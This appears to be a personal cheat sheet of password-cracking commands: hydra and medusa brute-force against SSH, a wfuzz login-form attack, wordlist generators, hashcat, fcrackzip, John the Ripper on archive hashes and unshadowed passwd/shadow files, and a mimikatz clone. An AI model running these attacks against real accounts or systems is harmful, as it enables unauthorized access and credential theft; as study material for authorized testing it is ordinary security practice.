Password Cracking

Tools : hydra, madusa, wfuzz, password attacks > wordlists

Default Wordlist : /usr/share/wordlists
Default Wordlist : home/file System/usr/share/wordlists

Using Hydra : sudo arp-scan --localnet >>>> nmap <ip> >>>> hydra-graphical

SSh with hydra:
sudo apt install openssh-server
sudo service ssh start
sudo service ssh status
sudo arp-scan --localnet
nmap <ip>
ssh user@ip
hrdra -l username -P rockyou.txt ssh://ip

ssh with medusa:
sudo arp-scan --localnet
nmap <ip>
medusa -h <ip> -u user -P rockyou.txt -M ssh

crunch:
crunch <min> <max> [options]
crunch 1 3 -o dict.txt
crunch 5 7 pass123 -o dict.txt
crunch 1 3 "raj " -o space.txt
crunch 3 3 -t ^@@ -o output.txt
crunch 4 6 abcdefghijklmnopqrstuvwxyz -o wordlist.txt
crunch 3 4 abcdefghijklmnopqrstuvwxyz0123456789 -o wordlist.txt
crunch 6 8 1234567890 -o numericwordlist.lst
crunch 8 8 -t @@@@@@12 -o pass.lst

cup:
git clone https://github.com/Mebus/cupp
cd cupp
python3 cupp.py -i
python3 cupp.py -w pass.txt

bopscrk:
git clone https://github.com/r3nt0n/bopscrk
cd bopscrk
pip install -r requirements.txt
cd bopscrk
python3 bopscrk.py –i

Cwel:
cwel -h
cwel www.abc.xyz
cwel www.abc.xyz -c | more
cwel www.abc.xyz -m -w.txt
cwel www.abc.xyz -w x.txt
cwel www.abc.xyz -d 6 -w x.txt
cwel www.abc.xyz -d 6 -v -w x.txt
cwel www.abc.xyz --lowercase -w x.txt
cwel www.abc.xyz --with-numbers -w x.txt
cwel www.abc.xyz -n -e
cwel -d 2 -m 6 www.abc.xyz

Hash Identifier::hashid value -m -j
Hashid :: search hashid and paste the hash
haiti :: haiti hash

HashCat:: hashcat -m 0 -a 0 -o hash.txt d78b6f30225cdc811adfe8d4e7c9fd34 filepath

Fcrackzip::
apt install fcrackzip
fcrackzip --help
fcrackzip -D -p rockyou.txt secret.zip
fcrackzip -u -D -p rockyou.txt secret.zip
fcrackzip -u -D -p rockyou.txt secret.zip -v
fcrackzip -b -c 'a1' secret.zip -u
fcrackzip -b -c 'a1' -l 7-8 secret.zip –u

curl -s <link> | grep -o -E '\w+' | tr '[:upper:]' '[:lower:]' | sort -u > wordlist.txt

wfuzz -c -z file,x.txt -z file,y.txt -hs="Incorrect Password" -u <link> -d "username=FUZZ&password=FUZ2Z"

John The Ripper:
zip2john chall.zip > hashing.txt
cat hashing.txt
clear
john --wordlist=rockyou.txt hashing.txt

rar2john chall.rar > hashing.txt
cat hashing.txt
clear
john --wordlist=rockyou.txt hashing.txt

7z2john chall.7z > hashing.txt
john --wordlist=rockyou.txt hashing.txt

Most Working Site:
https://md5hashing.net/hash/
https://crackstation.net/
https://hashes.com/en/decrypt/hash

```
git clone https://github.com/ParrotSec/mimikatz

unshadow passwd shadow > mypass.txt
john --wordlist=rockyou.txt mypass.txt
```
